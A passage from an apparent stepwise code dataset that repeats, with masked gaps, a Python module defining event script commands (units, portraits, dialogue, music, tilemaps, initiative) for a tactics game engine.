['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool']\n\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n keywords = ['Tilemap']\n optional_keywords = ['PositionOffset', 'Tilemap']\n flags = ['reload']\n\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['UniqueUnit']\n optional_keywords = ['Team', 'AI']\n\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['String', 'Klass', 'String', 'Team']\n optional_keywords = ['AI', 'Faction', 'String', 'ItemList']\n\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'String']\n optional_keywords = ['String', 'Position', 'EntryType', 'Placement']\n\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'EntryType', 'Placement']\n\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['RemoveType']\n\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n flags = ['immediate']\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass Sound(EventCommand):\n nid = 'sound'\n tag = Tags.MUSIC_SOUND\n desc = '\\nPlays the _Sound_ once.\\n '\n keywords = ['Sound']\n\n\nclass ChangeMusic(EventCommand):\n nid = 'change_music'\n tag = Tags.MUSIC_SOUND\n desc = \"\"\"\nChanges the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.\n \"\"\"\n keywords = ['PhaseMusic', 'Music']\n\n\nclass AddPortrait(EventCommand):\n nid = 'add_portrait'\n nickname = 'u'\n tag = Tags.PORTRAIT\n desc = \"\"\"\nAdds a portrait to the screen.\n\nExtra flags:\n\n1. _mirror_: Portrait will face opposite expected direction.\n2. _low_priority_: Portrait will appear behind all other portraits on the screen.\n3. _immediate_: Portrait will not fade in.\n4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.\n \"\"\"\n keywords = ['Portrait', 'ScreenPosition']\n optional_keywords = ['Slide', 'ExpressionList']\n flags = ['mirror', 'low_priority', 'immediate', 'no_block']\n\n\nclass MultiAddPortrait(EventCommand):\n nid = 'multi_add_portrait'\n nickname = 'uu'\n tag = Tags.PORTRAIT\n desc = \"\"\"\nAdds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.\n \"\"\"\n keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait',\n 'ScreenPosition']\n\n\nclass RemovePortrait(EventCommand):\n nid = 'remove_portrait'\n nickname = 'r'\n tag = Tags.PORTRAIT\n keywords = ['Portrait']\n flags = ['immediate', 'no_block']\n\n\nclass MultiRemovePortrait(EventCommand):\n nid = 'multi_remove_portrait'\n nickname = 'rr'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'Portrait']\n optional_keywords = ['Portrait', 'Portrait']\n\n\nclass MovePortrait(EventCommand):\n nid = 'move_portrait'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'ScreenPosition']\n flags = ['immediate', 'no_block']\n\n\nclass BopPortrait(EventCommand):\n nid = 'bop_portrait'\n nickname = 'bop'\n tag = Tags.PORTRAIT\n keywords = ['Portrait']\n flags = ['no_block']\n\n\nclass Expression(EventCommand):\n nid = 'expression'\n nickname = 'e'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'ExpressionList']\n\n\nclass Speak(EventCommand):\n nid = 'speak'\n nickname = 's'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Speaker', 'Text']\n optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']\n flags = ['low_priority']\n\n\nclass Transition(EventCommand):\n nid = 'transition'\n nickname = 't'\n tag = Tags.BG_FG\n optional_keywords = ['Direction', 'Speed', 'Color3']\n\n\nclass Background(EventCommand):\n nid = 'change_background'\n nickname = 'b'\n tag = Tags.BG_FG\n optional_keywords = ['Panorama']\n flags = ['keep_portraits']\n\n\nclass DispCursor(EventCommand):\n nid = 'disp_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Bool']\n\n\nclass MoveCursor(EventCommand):\n nid = 'move_cursor'\n nickname = 'set_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass CenterCursor(EventCommand):\n nid = 'center_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass FlickerCursor(EventCommand):\n nid = 'flicker_cursor'\n nickname = 'highlight'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass GameVar(EventCommand):\n nid = 'game_var'\n tag = Tags.GAME_VARS\n keywords = ['Nid', 'Condition']\n\n\nclass IncGameVar(EventCommand):\n nid = 'inc_game_var'\n tag = Tags.GAME_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass LevelVar(EventCommand):\n nid = 'level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid', 'Condition']\n\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool']\n\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n keywords = ['Tilemap']\n optional_keywords = ['PositionOffset', 'Tilemap']\n flags = ['reload']\n\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['UniqueUnit']\n optional_keywords = ['Team', 'AI']\n\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['String', 'Klass', 'String', 'Team']\n optional_keywords = ['AI', 'Faction', 'String', 'ItemList']\n\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'String']\n optional_keywords = ['String', 'Position', 'EntryType', 'Placement']\n\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'EntryType', 'Placement']\n\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['RemoveType']\n\n\nclass KillUnit(EventCommand):\n nid 